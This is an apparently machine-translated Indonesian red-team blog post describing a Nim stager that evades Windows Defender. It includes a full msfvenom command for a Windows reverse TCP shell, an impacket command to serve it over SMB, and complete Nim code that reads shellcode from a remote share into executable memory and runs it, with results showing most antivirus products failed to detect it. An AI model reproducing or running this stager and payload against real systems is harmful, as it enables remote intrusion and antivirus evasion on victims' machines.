Mengembangkan aktor SMB di Nim

Nov 24 2022
Halo sobat Tim Merah. Saya baru-baru ini mulai menghubungi Nim untuk pengkodean ofensif.

Halo sobat Tim Merah. Saya baru-baru ini mulai menghubungi Nim untuk pengkodean ofensif. Sejujurnya saya merasa sulit dan aneh, tetapi BEKERJA!

Hari ini kami sedang mengembangkan stager SMB sederhana, melewati Windows Defender pada saat pengujian.

Jika Anda lebih suka menonton video daripada membaca, video lengkapnya dapat ditemukan di sini:https://youtu.be/qq-S2syksL0

Juga, jika Anda tertarik untuk bergabung dengan Discord terbuka untuk berbagi pengetahuan dan pengalaman cybersec, silakan:https://discord.gg/dWCe5ZMvtQ

Ayo pergi

Teorinya cukup sederhana, idenya adalah untuk menghindari penulisan kode shell ke file, melewati deteksi berbasis tanda tangan, sambil membantu heuristik juga. Saya awalnya mencoba mengunduh kode shell dengan HTTP, tetapi saya menemukan banyak masalah, saya tidak dapat menyelesaikannya sendiri. Kemudian metodologinya sedikit berubah. Alih-alih mengunduhnya dari HTTP, payload akan dihosting di SMB share, dan akan langsung dibaca dari sana.

Saya menggunakan muatan stageless msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

impacket-smbserver smb . -ts -debug -smb2support

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

echo shellcode

echo fileSize

echo sizeof(shellcode)

type
    buf* = LPVOID



var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Pertama-tama, kita harus mengimpor pustaka kernel Windows, memungkinkan kita untuk memanggil API Windows:

import winim/lean

var filename = "\\\\192.168.153.128\\smb\\code.bin"

var file: File = open(filename, fmRead)

var fileSize = file.getFileSize() 
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close

type
    buf* = LPVOID

var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()

Waktu Pengujian!

Saya melakukan 2 tes. Yang pertama melawan Klien Windows 10 dengan Defender UP dan RUNNING. Yang kedua melawan antarmuka antiscan.me.

Nim Stager vs Windows Defender

Tes 1 dimulai dengan menjatuhkan stager ke sistem file. Sejauh ini tidak ada yang dipicu, artinya kami berhasil melewati deteksi berbasis tanda tangan. Sekarang mari kita jalankan dan amati:

Stager ternyata bekerja dengan baik, dan hal yang aneh di sini adalah Pembela berhasil dipicu, tetapi ini tidak membunuh cangkangnya:

Saya menjalankan shell ini selama beberapa menit dan berfungsi penuh. Saya pribadi tidak tahu mengapa pembela tidak membunuhnya, jika Anda tahu jawabannya, saya akan menghargai berbagi.

Nim Stager vs Antiscanme

Jangan salah paham, antiscanme memang bagus, tetapi saat menguji stager, mereka tidak benar-benar memiliki cara untuk menyajikan hasil yang valid. Hasil yang Anda lihat didasarkan pada deteksi berbasis tanda tangan, karena mereka tidak memiliki kemungkinan jaringan untuk mengunduh kode shell yang sebenarnya. Saya berharap lebih banyak vendor AV untuk mengetahuinya pada pengujian nyata, tetapi ini adalah "langkah pertama" yang bagus untuk dilakukan.

Setelah mengunggah stager, hanya 4/26 vendor yang dapat menangkapnya.

Saya percaya bahwa pemicu didasarkan pada vendor yang membaca panggilan Windows API, sehingga menghitungnya sebagai berbahaya. Tentu saja, untuk menguji apa yang sebenarnya salah, saya perlu melakukan banyak sekali tes. Itulah teori saya untuk saat ini.

Kesimpulan

Bermain dengan Nim itu menyenangkan dan hasil yang kami capai hanya dengan mementaskan hal-hal luar biasa. Tentu saja, ada teknik bypass AV yang jauh lebih canggih yang dapat kami lakukan, tetapi kami akan melakukannya di masa mendatang. Semoga konten itu bermanfaat dan mempelajari sesuatu yang baru.